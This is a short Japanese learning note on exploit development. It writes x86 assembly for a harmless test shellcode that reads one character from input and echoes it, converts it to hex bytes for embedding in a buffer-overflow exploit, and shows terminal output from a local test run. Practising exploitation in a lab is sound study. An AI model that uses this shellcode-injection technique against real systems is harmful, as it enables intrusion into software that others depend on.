Note of Exploitingこのペイロードは標準入力としてコマンドラインから1文字読み込み、標準出力として読み込んだ文字をコマンドラインに出力する。
.globl main
main:
    #read
    mov    $0x3,   %al
    xorl   %ebx,   %ebx
    mov    %esp,   %ecx
    xorl   %edx,   %edx
    inc    %edx
    int    $0x80
    mov    %ebx,   %esi
    #write
    mov    $0x4,   %al
    mov    $0x1,   %bl
    int    $0x80
    #exit
    mov    $0x1,   %al
    xorl   %ebx,   %ebx
    int    $0x80
このソースコードをバイトコードに変換し、[SC] exploit.cに埋め込む。
char shellcode[]=
"\xb0\x03\x31\xdb\x89\xe1\x31\xd2"
"\x42\xcd\x80\x89\xde\xb0\x04\xb3"
"\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80"
;
次に、このExploitを実行する。
defolos@glazheim:~/buffer_overflow_test$ ./exploit.exe sp = 0xbffff8f8 ret = 0xbffff8f8 -------exploit--------------- a adefolos@glazheim:~/buffer_overflow_test$
ペイロードが正常に動作していることが確認できた。